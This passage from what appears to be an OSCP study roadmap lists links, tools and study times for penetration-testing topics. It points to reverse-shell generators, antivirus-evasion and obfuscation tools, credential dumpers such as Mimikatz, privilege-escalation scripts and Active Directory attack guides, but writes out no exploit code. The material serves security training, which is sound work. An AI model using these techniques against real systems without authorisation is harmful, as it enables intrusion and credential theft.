Python](https://g.co/kgs/vJfCsm) > - [Violent Python Codes in Python 3](https://github.com/EONRaider/violent-python3) > - Vidoes: > - [The Complete Python Hacking Course: Beginner To Advance! (2021)](https://youtu.be/0NQ2aMxBYNE) > - Broken Link Update : [Access it here](https://web.archive.org/web/20210222183051/https://www.youtube.com/watch?v=0NQ2aMxBYNE&feature=youtu.be) > - [The Complete Python Hacking Course Playlist](https://youtube.com/playlist?list=PL9bcYdRTwTIme7BckMbAd55KdwEzeSe9m) > - [Python Notes for OSCP](https://github.com/shreyaschavhan/python-for-oscp) ``` Update (16th Oct 2022): One of the above python course wasn't available anymore. But you can use waybackmachine to access it again. A quick tip for any broken link that might exist here in this repository: - Use Wayback machine ``` ``` Thoughts: `Learn python 3 the hard way` is the best book for python according to me! ``` ``` Estimated Time: 24 hours ``` ## 𝐆𝐞𝐭𝐭𝐢𝐧𝐠 𝐂𝐨𝐦𝐟𝐨𝐫𝐭𝐚𝐛𝐥𝐞 𝐰𝐢𝐭𝐡 𝐊𝐚𝐥𝐢 𝐋𝐢𝐧𝐮𝐱 > - [Installing Kali Linux on VMware](https://youtu.be/UbGYDDnFAEg) > - [Kali Linux on Windows in 5 mins](https://youtu.be/AfVH54edAHU) > - [Linux for Hackers by NetworkChuck](https://youtube.com/playlist?list=PLIhvC56v63IJIujb5cyE13oLuyORZpdkL) > - [Linux for beginners (Hindi) by Codewithharry](https://youtu.be/_tCY-c-sPZc) > - [Linux for Hackers (Kali Linux Tutorial)](https://youtu.be/lZAoFs75_cs) > - [Kali Linux Training](https://kali.training/) > - [Linux Commands cheatsheet](https://github.com/shreyaschavhan/linux-commands-cheatsheet) - Should learn `(imp)`: ``` - man - apropos - ls - cd - pwd - mkdir - rm - which - locate - find - ssh - grep - apt ``` ``` Estimated Time: 8 hours ``` ## 𝐂𝐨𝐦𝐦𝐚𝐧𝐝 𝐋𝐢𝐧𝐞 𝐅𝐮𝐧 > - [Linux Commands cheatsheet](https://github.com/shreyaschavhan/linux-commands-cheatsheet) > - Book: [The Linux Command Line](https://g.co/kgs/7gC3DZ) > - Practice: > - [Overthewire Bandit](https://overthewire.org/wargames/bandit/) > - [Cmdchallenge](https://cmdchallenge.com/) > - Vim Tutorial: https://youtu.be/IiwGbcd8S7I - Should learn: ``` - Environment Variables in Bash - grep - awk - cut - sed - comm - diff - vimdiff - ping - bg - fg - jobs - kill - ps - wget - curl - axel ``` - Text Editors you should be familiar with: ``` - nano - vi(m) ``` ``` Excepted time (without practice): 12 hours ``` ## 𝐏𝐫𝐚𝐜𝐭𝐢𝐜𝐚𝐥 𝐓𝐨𝐨𝐥𝐬 - Official Syllabus Tools ``` - Netcat - Socat - Powershell - Powercat - Wireshark - Tcpdump ``` - Enumeration ``` AutoRecon — https://github.com/Tib3rius/AutoRecon nmapAutomator — https://github.com/21y4d/nmapAutomator Reconbot — https://github.com/Apathly/Reconbot Raccoon — https://github.com/evyatarmeged/Raccoon RustScan — https://github.com/RustScan/RustScan BashScan — https://github.com/astryzia/BashScan ``` - Web Related ``` Dirsearch — https://github.com/maurosoria/dirsearch GoBuster — https://github.com/OJ/gobuster Recursive GoBuster — https://github.com/epi052/recursive-gobuster wfuzz — https://github.com/xmendez/wfuzz goWAPT — https://github.com/dzonerzy/goWAPT ffuf — https://github.com/ffuf/ffuf Nikto — https://github.com/sullo/nikto dirb — https://tools.kali.org/web-applications/dirb dirbuster — https://tools.kali.org/web-applications/dirbuster feroxbuster — https://github.com/epi052/feroxbuster FinalRecon — https://github.com/thewhiteh4t/FinalRecon ``` - Network tools: ``` Impacket (SMB, psexec, etc) — https://github.com/SecureAuthCorp/impacket ``` - File Transfers: ``` updog — https://github.com/sc0tfree/updog ``` - Wordlists: ``` SecLists — https://github.com/danielmiessler/SecLists ``` - Payload Generators: ``` Reverse Shell Generator — https://github.com/cwinfosec/revshellgen Windows Reverse Shell Generator — https://github.com/thosearetheguise/rev MSFVenom Payload Creator — https://github.com/g0tmi1k/msfpc ``` - Php reverse shell: ``` Windows PHP Reverse Shell — https://github.com/Dhayalanb/windows-php-reverse-shell PenTestMonkey Unix PHP Reverse Shell — http://pentestmonkey.net/tools/web-shells/php-reverse-shell ``` - Terminal Related: ``` tmux — https://tmuxcheatsheet.com/ (cheat sheet) tmux-logging — https://github.com/tmux-plugins/tmux-logging Oh My Tmux — https://github.com/devzspy/.tmux screen — https://gist.github.com/jctosta/af918e1618682638aa82 (cheat sheet) Terminator — http://www.linuxandubuntu.com/home/terminator-a-linux-terminal-emulator-with-multiple-terminals-in-one-window vim-windir — https://github.com/jtpereyda/vim-windir ``` - Exploits: ``` Exploit-DB — https://www.exploit-db.com/ Windows Kernel Exploits — https://github.com/SecWiki/windows-kernel-exploits AutoNSE — https://github.com/m4ll0k/AutoNSE Linux Kernel Exploits — https://github.com/lucyoa/kernel-exploits ``` - Password Brute Forcer: ``` BruteX — https://github.com/1N3/BruteX Hashcat — https://hashcat.net/hashcat/ John the Ripper — https://www.openwall.com/john/ ``` - Post Exploitation / Privilege Escalation ``` LinEnum — https://github.com/rebootuser/LinEnum linprivchecker —https://www.securitysift.com/download/linuxprivchecker.py Powerless — https://github.com/M4ximuss/Powerless PowerUp — https://github.com/HarmJ0y/PowerUp Linux Exploit Suggester — https://github.com/mzet-/linux-exploit-suggester Windows Exploit Suggester — https://github.com/bitsadmin/wesng Windows Privilege Escalation Awesome Scripts (WinPEAS) — https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS CHECK THE VERSION NUMBER!!! Linux Privilege Escalation Awesome Script (LinPEAS) — https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS GTFOBins (Bypass local restrictions) — https://gtfobins.github.io/ Get GTFOBins — https://github.com/CristinaSolana/ggtfobins sudo_killer — https://github.com/TH3xACE/SUDO_KILLER WADComs — https://wadcoms.github.io/ LOLBAS — https://lolbas-project.github.io/ ``` - Buffer Overflow Practice ``` Vulnserver for Windows — https://github.com/stephenbradshaw/vulnserver Vulnserver for Linux — https://github.com/ins1gn1a/VulnServer-Linux Tib3rius TryHackMe BOF — https://tryhackme.com/jr/bufferoverflowprep ``` - Privilege Escalation Practice ``` Local Privilege Escalation Workshop — https://github.com/sagishahar/lpeworkshop Linux Privilege Escalation — https://www.udemy.com/course/linux-privilege-escalation/ Windows Privilege Escalation — https://www.udemy.com/course/windows-privilege-escalation/ ``` > - Netcat > - [Netcat tutorial by networkchuk](https://youtu.be/bXCeFPNWjsM) > - [PowerShell Learning Resources](https://docs.microsoft.com/en-us/powershell/scripting/learn/more-powershell-learning?view=powershell-7) > - [PowerShell for Pentesting In Kali Linux](https://www.offensive-security.com/offsec/kali-linux-powershell-pentesting/) > - Hands on Challenges for learning PowerShell: > - underthewire.tech: https://underthewire.tech/wargames.htm > - codewars: https://www.codewars.com/ ``` Expected Tools Overview: 12 hours ``` ## 𝐁𝐚𝐬𝐡 𝐒𝐜𝐫𝐢𝐩𝐭𝐢𝐧𝐠 > - Practice: > - [Bash Scripting Practice on Hackerrank](https://www.hackerrank.com/domains/shell?filters%5Bstatus%5D%5B%5D=unsolved&filters%5Bstatus%5D%5B%5D=solved&filters%5Bsubdomains%5D%5B%5D=bash) > - https://www.learnshell.org/ > - Book: > - [Shell Scripting: How to Automate Command Line Tasks Using...](https://g.co/kgs/LW4kQy) ``` Expected Time: 4 hours ``` ## 𝐏𝐚𝐬𝐬𝐢𝐯𝐞 𝐈𝐧𝐟𝐨𝐫𝐦𝐚𝐭𝐢𝐨𝐧 𝐆𝐚𝐭𝐡𝐞𝐫𝐢𝐧𝐠 ``` - Website Recon - Whois Enumeration - Google hacking : https://www.exploit-db.com/google-hacking-database - Netcraft - Recon-ng : https://github.com/lanmaster53/recon-ng - Open source code - Shodan - Security Headers Scanner - SSL Server Test - Pastebin - User information Gathering - Email Harvesting - Stack Overflow - OSINT Framework - Maltego ``` ``` Expected time: 30 mins ``` ## 𝐀𝐜𝐭𝐢𝐯𝐞 𝐈𝐧𝐟𝐨𝐫𝐦𝐚𝐭𝐢𝐨𝐧 𝐆𝐚𝐭𝐡𝐞𝐫𝐢𝐧𝐠 ``` - DNS Enumeration - Forward Lookup - Reverse Lookup - DNS Zone Transfers - Tools: - DNSrecon - DNSenum - Port Scanning - TCP Scanning - UDP Scanning - Nmap: - https://nmap.org/book/toc.html - https://www.amazon.com/Nmap-Network-Scanning-Official-Discovery/dp/0979958717 - https://blog.zsec.uk/nmap-rtfm/ - Masscan - SMB Enumeration - NFS Enumeration - SMTP Enumeration - SNMP Enumeration ``` ``` Expected Time: 12 hours ``` ## 𝐕𝐮𝐥𝐧𝐞𝐫𝐚𝐛𝐢𝐥𝐢𝐭𝐲 𝐒𝐜𝐚𝐧𝐧𝐢𝐧𝐠 ``` - Vulnerability Scanning using Nessus - Vulnerability Scanning using Nmap ``` ``` Expected Time: 4 hours ``` ## 𝐖𝐞𝐛 𝐀𝐩𝐩𝐥𝐢𝐜𝐚𝐭𝐢𝐨𝐧 𝐀𝐭𝐭𝐚𝐜𝐤𝐬 - Web Tools: ``` - DIRB: http://dirb.sourceforge.net/ - Dirsearch: https://github.com/maurosoria/dirsearch - Dirbuster: https://tools.kali.org/web-applications/dirbuster - Gobuster: https://github.com/OJ/gobuster - Wfuzz: https://github.com/xmendez/wfuzz - ffuf: https://github.com/ffuf/ffuf - Burpsuite - Nikto - HTTPIe https://httpie.io/ ``` - Practice: > - Metasploitable 2 > - OWASP Juice Shop > - Overthewire Natas > - Web Security Academy > - https://www.hackthissite.org/ ``` Expected Time: 30 days ``` ## 𝐁𝐮𝐟𝐟𝐞𝐫 𝐎𝐯𝐞𝐫𝐟𝐥𝐨𝐰 - Blogs: > - [Buffer Overflows Made Easy](https://tcm-sec.com/buffer-overflows-made-easy/) > - [Exploit writing tutorial part 1 : Stack Based Overflows](https://web.archive.org/web/20220228234520/https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/) > - [Exploit writing tutorial part 2 : Stack Based Overflows – jumping to shellcode](https://web.archive.org/web/20220228234628/https://www.corelan.be/index.php/2009/07/23/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-2/) > - [What is Buffer Overflow? — TryHackMe: Buffer Overflow Prep Walkthrough](https://ahoner.medium.com/what-is-buffer-overflow-tryhackme-buffer-overflow-prep-walkthrough-9e2629a6b5b9) > - [Buffer Overflow personal cheatsheet](https://liodeus.github.io/2020/08/11/bufferOverflow.html) > - [Easy OSCP Bufferoverflow Preparation](https://hum4ng0d.github.io/OSCP-Easy-Bufferoverflow/) > - [The Braindead Buffer Overflow Guide to Pass the OSCP Blindfolded](https://boschko.ca/braindead-buffer-overflow-guide-to-pass-the-oscp-blindfolded/) > - [Simplifying Buffer Overflows for OSCP](https://appsecradar.net/posts/simplifying-buffer-overflows-for-oscp/) > - [OSCP Buffer Overflow Guide (Windows)](https://alomancy.gitbook.io/guides/guides/bof) > - Practice: ``` 1. https://tryhackme.com/room/oscpbufferoverflowprep 2. protostar on vulnhub 3. vulnserver 4. Brainpan on vulnhub 5. warFTP 6. miniserv 7. https://overthewire.org/wargames/behemoth/ 8. https://overthewire.org/wargames/narnia/ 9. Brainpan 1: https://www.vulnhub.com/entry/brainpan-1,51/ 10. Pinky’s Palace version 1: https://www.vulnhub.com/entry/pinkys-palace-v1,225/ 11. Stack Overflows for Beginners: https://www.vulnhub.com/entry/stack-overflows-for-beginners-101,290/ 12. SmashTheTux: https://www.vulnhub.com/entry/smashthetux-101,138/ 13. Pandora’s Box: https://www.vulnhub.com/entry/pandoras-box-1,111/ ``` - Windows Binaries (Recommend that you run these on Windows 7/XP 32 bit): ``` Vulnserver: https://samsclass.info/127/proj/vuln-server.htm Minishare 1.4.1: https://www.exploit-db.com/exploits/636 Savant Web Server 3.1: https://www.exploit-db.com/exploits/10434 Freefloat FTP Server 1.0: https://www.exploit-db.com/exploits/40673 Core FTP Server 1.2: https://www.exploit-db.com/exploits/39480 WarFTP 1.65: https://www.exploit-db.com/exploits/3570 VUPlayer 2.4.9: https://www.exploit-db.com/exploits/40018 ``` - Linux Binaries ``` Linux Buffer Overflow: https://samsclass.info/127/proj/lbuf1.htm ``` - Videos: > - [Buffer Overflows made easy](https://www.youtube.com/playlist?list=PLLKT__MCUeix3O0DPbmuaRuR_4Hxo4m3G) > - [Buffer Overflows made easy (2022 Edition)](https://youtu.be/ncBblM920jw) > - [Basic Buffer Overflow - VulnServer TRUN](https://youtu.be/yJF0YPd8lDw) > - [Stack Based Buffer Overflow Prep](https://youtu.be/1X2JGF_9JGM) > - [OSCP Prep - x86 Windows Stack-Based Buffer Overflow Full Tutorial - War-FTP 1.65](https://youtu.be/Z2pQuGmFNrM) > - [Buffer Overflow Prep (feat. Tib3rius and TryHackMe)](https://youtu.be/bBBaVQjjSLQ) - Github: ``` 1. https://github.com/justinsteven/dostackbufferoverflowgood 2. https://github.com/3isenHeiM/OSCP-BoF 3. https://github.com/gh0x0st/Buffer_Overflow 4. https://github.com/sradley/overflow (You should not use it in the exam) 5. https://github.com/onecloudemoji/BOF-Template (Buffer overflow template) 6. https://github.com/V1n1v131r4/OSCP-Buffer-Overflow ``` - Other Resources: ``` Whitepaper Introduction to Immunity Debugger: https://www.sans.org/reading-room/whitepapers/malicious/basic-reverse-engineering-immunity-debugger-36982 Do Stack Buffer Overflow Good: https://github.com/justinsteven/dostackbufferoverflowgood Buffer Overflows for Dummies: https://www.sans.org/reading-room/whitepapers/threats/buffer-overflows-dummies-481 Vortex Stack Buffer Overflow Practice: https://www.vortex.id.au/2017/05/pwkoscp-stack-buffer-overflow-practice/ Smashing the Stack For Fun and Profit: http://www-inst.eecs.berkeley.edu/~cs161/fa08/papers/stack_smashing.pdf Buffer Overflow Guide: https://github.com/johnjhacking/Buffer-Overflow-Guide Stack based Linux Buffer Overflow: https://www.exploit-db.com/docs/english/28475-linux-stack-based-buffer-overflows.pdf ``` ``` Expected time (without practice): 8 hours ``` ## 𝐂𝐥𝐢𝐞𝐧𝐭-𝐬𝐢𝐝𝐞 𝐀𝐭𝐭𝐚𝐜𝐤𝐬 ``` https://www.offensive-security.com/metasploit-unleashed/client-side-attacks/ ``` ``` Expected Time: (not sure) ``` ## 𝐋𝐨𝐜𝐚𝐭𝐢𝐧𝐠 𝐏𝐮𝐛𝐥𝐢𝐜 𝐄𝐱𝐩𝐥𝐨𝐢𝐭𝐬 - Places to Find Exploits: > - https://www.exploit-db.com/ > - https://packetstormsecurity.com/files/tags/exploit/ > - https://www.securityfocus.com/ - Tools for finding exploits: ``` Searchsploit: a command line search tool for Exploit-DB Nmap NSE Script The Browser Exploitation Framework (BeEF) Manual for searchsploit: https://www.exploit-db.com/searchsploit ``` ``` Expected Time: 1 hour ``` ## 𝐀𝐧𝐭𝐢𝐯𝐢𝐫𝐮𝐬 𝐄𝐯𝐚𝐬𝐢𝐨𝐧 - Book ``` Antivirus Bypass Techniques: Learn Practical Techniques and Tactics to Combat, Bypass, and Evade Antivirus Software Link: https://g.co/kgs/WzEjAH ``` - Tools to play with Anti-Virus evasion: ``` Veil-Framework: https://github.com/Veil-Framework/Veil Shellter: https://www.shellterproject.com/ Unicorn https://github.com/trustedsec/unicorn UniByAV: https://github.com/Mr-Un1k0d3r/UniByAv ``` - Tools to play with for Obfuscation: ``` PowerShell: Invoke-Obfuscation: https://github.com/danielbohannon/Invoke-Obfuscation Chimera: https://github.com/tokyoneon/Chimera Python: Pyarmor: https://pypi.org/project/pyarmor/ PyObfx: https://github.com/PyObfx/PyObfx C#: ConfuserEx: https://github.com/yck1509/ConfuserEx ``` - Testing Payloads Publicly. (Keep in mind that submitting your samples to online scanners may be distributed to other AV engines): ``` Nodistribute: https://nodistribute.com/ Virustotal: https://www.virustotal.com/gui/home Hybrid-Analysis: https://www.hybrid-analysis.com/ Any-Run: https://app.any.run Reverse.it: https://reverse.it Anti-Virus Evasion Tool: https://github.com/govolution/avet DefenderCheck: https://github.com/matterpreter/DefenderCheck ThreatCheck: https://github.com/rasta-mouse/ThreatCheck ``` ``` Expected: 12 hours ``` ## 𝐏𝐫𝐢𝐯𝐢𝐥𝐞𝐠𝐞 𝐄𝐬𝐜𝐚𝐥𝐚𝐭𝐢𝐨𝐧 - Blogs: > - [Windows elevation of privileges](https://guif.re/windowseop) > - [Linux elevation of privileges](https://guif.re/linuxeop) > - [Basic Linux Privilege Escalation](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) > - [Checklist - Local Windows Privilege Escalation](https://book.hacktricks.xyz/windows/checklist-windows-privilege-escalation) > - [Linux Privilege Escalation](https://book.hacktricks.xyz/linux-unix/privilege-escalation) > - [Linux](https://guide.offsecnewbie.com/privilege-escalation/linux-pe) > - [Linux Privilege Escalation Exploiting Capabilities](https://steflan-security.com/linux-privilege-escalation-exploiting-capabilities/) > - [I absolutely suck at privilege escalation](https://www.reddit.com/r/oscp/comments/9ystub/i_absolutely_suck_at_privilege_escalation/) > - [Privilege escalations in windows](https://infosecwriteups.com/privilege-escalation-in-windows-380bee3a2842) > - [Windows Privilege Escalation Guide](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/) > - [Hacking Linux Part I: Privilege Escalation](http://www.dankalia.com/tutor/01005/0100501004.htm) > - [Windows Privilege Escalation Fundamentals](http://www.fuzzysecurity.com/tutorials/16.html) > - [Windows Privilege Escalation Methods for Pentesters](https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/) > - [Windows Services - All roads lead to SYSTEM](https://labs.f-secure.com/archive/windows-services-all-roads-lead-to-system/) > - [I hate hate hate HATEE privilege escalation.](https://www.reddit.com/r/oscp/comments/iclvle/i_hate_hate_hate_hatee_privilege_escalation_did/) - Practice: > - https://gtfobins.github.io/ > - https://lolbas-project.github.io/ > - https://forum.hackthebox.com/t/oscp-practice/531 - Videos/Courses > - https://www.udemy.com/course/linux-privilege-escalation/ > - Tiberius and TCM udemy courses > - [OSCP - Windows Privilege Escalation Methodology](https://www.youtube.com/watch?v=Qfy-traJwIs) > - [Encyclopaedia Of Windows Privilege Escalation - Brett Moore](https://youtu.be/kMG8IsCohHA) > - [DerbyCon 3 0 2105 Windows Attacks At Is The New Black Rob Fuller And Chris Gates](https://youtu.be/_8xJaaQlpBo) > - [Privilege Escalation](https://www.youtube.com/playlist?list=PLDrNMcTNhhYrBNZ_FdtMq-gLFQeUZFzWV) > - [Ippsec](https://www.youtube.com/c/ippsec) - Github: ``` 1. https://github.com/sagishahar/lpeworkshop 2. https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Methodology%20and%20Resources 3. https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md 4. https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md 5. https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md 6. https://github.com/abatchy17/WindowsExploits 7. https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc 8. https://github.com/rasta-mouse/Sherlock 9. https://github.com/AonCyberLabs/Windows-Exploit-Suggester ``` - Others ``` - https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS - https://in.security/lin-security-practise-your-linux-privilege-escalation-foo/ - https://www.vulnhub.com/entry/linsecurity-1,244/ - https://www.netsecfocus.com/oscp/2021/05/06/The_Journey_to_Try_Harder-_TJnull-s_Preparation_Guide_for_PEN-200_PWK_OSCP_2.0.html#section-10-buffer-overflows-for-windows-and-linux - http://pwnwiki.io/#!privesc/windows/index.md - https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/ - https://github.com/N7WEra/SharpAllTheThings - https://github.com/411Hall/JAWS/commits?author=411Hall - https://github.com/bitsadmin/wesng - https://github.com/rasta-mouse/Sherlock - https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS - https://github.com/rasta-mouse/Watson - https://github.com/GhostPack/Seatbelt - https://github.com/gladiatx0r/Powerless - https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon - https://github.com/breenmachine/RottenPotatoNG - https://github.com/ohpe/juicy-potato - https://rahmatnurfauzi.medium.com/windows-privilege-escalation-scripts-techniques-30fa37bd194 - https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/ - https://github.com/jondonas/linux-exploit-suggester-2 ``` ``` Expected: 12 hours ``` ## 𝐏𝐚𝐬𝐬𝐰𝐨𝐫𝐝 𝐀𝐭𝐭𝐚𝐜𝐤𝐬 - Offline tools for password cracking ``` Hashcat: https://hashcat.net/hashcat/ Sample Hashes to test with Hashcat: https://hashcat.net/wiki/doku.php?id=example_hashes John the Ripper: https://www.openwall.com/john/ Metasploit Unleashed using John the Ripper with Hashdump: https://www.offensive-security.com/metasploit-unleashed/john-ripper/ ``` - Online Tools for password cracking ``` THC Hydra: https://github.com/vanhauser-thc/thc-hydra Crowbar: https://github.com/galkan/crowbar ``` - Wordlist Generator ``` Cewl: https://digi.ninja/projects/cewl.php Crunch: https://tools.kali.org/password-attacks/crunch Cupp (In Kali Linux): https://github.com/Mebus/cupp ``` - Tools to check the hash type: ``` Hash-Identifier: https://github.com/psypanda/hashID ``` - Tools to dump for hashes: ``` Mimikatz: https://github.com/gentilkiwi/mimikatz Mimipenguin: https://github.com/huntergregal/mimipenguin Pypykatz: https://github.com/skelsec/pypykatz ``` - Wordlists: ``` In Kali: /usr/share/wordlists Seclists: apt-get install seclists You can find all of his password lists here: https://github.com/danielmiessler/SecLists/tree/master/Passwords Xajkep Wordlists: https://github.com/xajkep/wordlists ``` - Online Password Crackers: ``` https://hashkiller.io/ https://www.cmd5.org/ https://www.onlinehashcrack.com/ https://gpuhash.me/ https://crackstation.net/ https://passwordrecovery.io/ https://md5decrypt.net/en/ https://hashes.com/en/decrypt/hash http://cracker.offensive-security.com/ ``` - Others ``` Introduction to Password Cracking: https://alexandreborgesbrazil.files.wordpress.com/2013/08/introduction_to_password_cracking_part_1.pdf Pwning Wordpress Passwords: https://medium.com/bugbountywriteup/pwning-wordpress-passwords-2caf12216956 ``` ``` Expected: 12 hours ``` ## 𝐏𝐨𝐫𝐭 𝐑𝐞𝐝𝐢𝐫𝐞𝐜𝐭𝐢𝐨𝐧 𝐚𝐧𝐝 𝐓𝐮𝐧𝐧𝐞𝐥𝐢𝐧𝐠 - Blogs > - [Proxytunnels](https://www.offensive-security.com/metasploit-unleashed/proxytunnels/) > - [Portfwd](https://www.offensive-security.com/metasploit-unleashed/portfwd/) > - [Explore Hidden Networks with double pivoting](https://pentest.blog/explore-hidden-networks-with-double-pivoting/) > - [Tunneling and pivoting](https://0xdf.gitlab.io/2019/01/28/pwk-notes-tunneling-update1.html) > - [Port Forwarding: A practical hands on guide](https://www.abatchy.com/2017/01/port-forwarding-practical-hands-on-guide) > - [Configuring Port Forwarding on Windows](http://woshub.com/port-forwarding-in-windows/) > - [SSH Tunneling Explained](https://chamibuddhika.wordpress.com/2012/03/21/ssh-tunnelling-explained/) - Tools ``` Proxychains: https://github.com/haad/proxychains Proxychains-ng: https://github.com/rofl0r/proxychains-ng SSHuttle (Totally Recommend learning this): https://github.com/sshuttle/sshuttle SSHuttle Documentation: https://sshuttle.readthedocs.io/en/stable/ Chisel https://github.com/jpillora/chisel Ligolo: https://github.com/sysdream/ligolo ``` - Online Tunneling Services ``` Ngrok: https://ngrok.com/ Twilo: https://www.twilio.com/ ``` - Practice ``` Wintermute: https://www.vulnhub.com/entry/wintermute-1,239/ ``` ``` Expected: 12 hours ``` ## 𝐀𝐜𝐭𝐢𝐯𝐞 𝐃𝐢𝐫𝐞𝐜𝐭𝐨𝐫𝐲 𝐀𝐭𝐭𝐚𝐜𝐤𝐬 - Blogs > - [Attack this active directory machine and get your 40 points!](https://www.reddit.com/r/oscp/comments/s5puw0/attack_this_active_directory_machine_and_get_your/) > - [[AD 0] Setting up an Active Directory Lab](https://shroudri.github.io/guides/setting-up-active-directory/) > - [Attacking Active Directory: 0 to 0.9](https://zer1t0.gitlab.io/posts/attacking_ad/) - Github: > - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md > - https://github.com/davidprowe/BadBlood > - https://github.com/avi7611/Active-directory-small-cheatsheet - Practice: ``` - https://tryhackme.com/room/attacktivedirectory - https://tryhackme.com/network/throwback - Heist, Hutch, Vault on PG Play - Tryhackme Holo, Throwback networks in addition to attacktive and post exploitation rooms - Hackthebox: Forest, Sauna, dante, active, Arctic and Granny. - CyberSecLabs - Razorblack, Enterprise, VulnNet - Active on tryhackme - wreath on tryhackme - blackfield, intelligence, multimaster, cascade, heist...crap was that htb heist or pg heist or both, Reel, Sauna, Fuse, Sizzle, Mantis, and Resolute. - https://drive.google.com/file/d/1RktnrenlhOMIqdPDAv-u60_yzW7K0KS0/view - Rastalabs on HTB ``` - Videos: > - [Kerberos & Attacks 101](https://www.youtube.com/watch?v=IBeUz7zMN24) > - [Active Directory Attack Series](https://youtube.com/playlist?list=PLPDUz8KkxR5z2z84CJ1JyLXC9JgxkjPBk) > - [Attacking Active Directory - GPP Credentials](https://www.youtube.com/watch?v=sTedpt47t2Y) > - [70-640 Active Directory Course](https://youtube.com/playlist?list=PL1l78n6W8zypXtkh3uWIXbPssc4IGbfb5) > - [Common Active Directory Attacks: Back to the Basics of Security Practices](https://youtu.be/vga7A2tYejE) > - [What is Active Directory](https://youtu.be/GfqsFtmJQg0) - TJNull's suggestion: ``` Setting up Active Directory: Note: Make sure when you are setting up the Active Directory Server that you assign a static IP address to it and also a workstation that you will be joining the server to for further testing. I recommend that you set up a Windows 10 Workstation if you plan to use Windows Server 2016/2019. Microsoft Documentation to install Active Directory: https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/deploy/install-active-directory-domain-services–level-100- Install Windows Active Directory on Windows Server 2019: https://computingforgeeks.com/how-to-install-active-directory-domain-services-in-windows-server/ Understanding Users Accounts in Active Directory: https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-accounts Three ways to create an Active Directory User: https://petri.com/3-ways-to-create-new-active-directory-users Join a Workstation to the Domain: https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/deployment/join-a-computer-to-a-domain Tools to help you automate the installation for Active Directory: ADLab: https://github.com/browninfosecguy/ADLab Automated Lab: https://github.com/AutomatedLab/AutomatedLab MSLab: https://github.com/microsoft/MSLab Invoke-ADLabDeployer: https://github.com/outflanknl/Invoke-ADLabDeployer Active Directory User Setup: https://github.com/bjiusc/Active-Directory-User-Setup-Script Enumerating Active Directory: Active Directory Enumeration with Powershell: https://www.exploit-db.com/docs/english/46990-active-directory-enumeration-with-powershell.pdf Active Directory Exploitation Cheat Sheet: https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet#domain-enumeration Powersploit: https://github.com/PowerShellMafia/PowerSploit Understanding Authentication protocols that Active Directory Utilizes: NTLM Authentication: https://docs.microsoft.com/en-us/windows-server/security/kerberos/kerberos-authentication-overview Kerberos Authentication https://docs.microsoft.com/en-us/windows-server/security/kerberos/kerberos-authentication-overview Cache and Stored Credentials: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v=ws.11) Group Managed Service Accounts: https://adsecurity.org/?p=4367 Lateral Movement in Active Directory: Paving the Way to DA: https://blog.zsec.uk/path2da-pt1 Part 2, 3 Pass the Hash with Machine Accounts: https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/pass-the-hash-with-machine-accounts Overpass the hash (Payload All the things): https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#overpass-the-hash-pass-the-key Red Team Adventures Overpass the Hash: https://riccardoancarani.github.io/2019-10-04-lateral-movement-megaprimer/#overpass-the-hash Pass the Ticket (Silver Tickets): https://adsecurity.org/?p=2011 Lateral Movement with DCOM: https://www.ired.team/offensive-security/lateral-movement/t1175-distributed-component-object-model Active Directory Persistence: Cracking Kerberos TGS Tickets Using Kerberoast: https://adsecurity.org/?p=2293 Kerberoasting Without Mimikatz: https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/ Golden Tickets: https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-golden-tickets Pass the Ticket (Golden Tickets): https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#pass-the-ticket-golden-tickets Understanding DCSync Attacks: https://attack.stealthbits.com/privilege-escalation-using-mimikatz-dcsync Tools for Active Directory Lateral Movement and Persistence: ADRecon: https://github.com/sense-of-security/ADRecon Kerbrute: https://github.com/ropnop/kerbrute Rubeus: https://github.com/GhostPack/Rubeus Impacket: https://github.com/SecureAuthCorp/impacket Other Resources: Building an Active Directory with PowerShell: https://1337red.wordpress.com/building-and-attacking-an-active-directory-lab-with-powershell/ Lateral Movement for AD: https://riccardoancarani.github.io/2019-10-04-lateral-movement-megaprimer/#overpass-the-hash Lateral Movement with CrackMapExec: https://www.hackingarticles.in/lateral-moment-on-active-directory-crackmapexec/ ``` - Others: ``` - https://wadcoms.github.io/ - https://www.xmind.net/m/5dypm8/ - Cybermentor's Practical Ethical Hacking Course - Active Directory Section ``` ``` Expected: 48 hours ``` ## 𝐓𝐡𝐞 𝐌𝐞𝐭𝐚𝐬𝐩𝐥𝐨𝐢𝐭 𝐅𝐫𝐚𝐦𝐞𝐰𝐨𝐫𝐤 > - Metasploit Unleashed: https://www.offensive-security.com/metasploit-unleashed/ > - Book: > - [Metasploit: The Penetration Tester's Guide](https://g.co/kgs/Cpu7s9) - MSFvenom Cheat 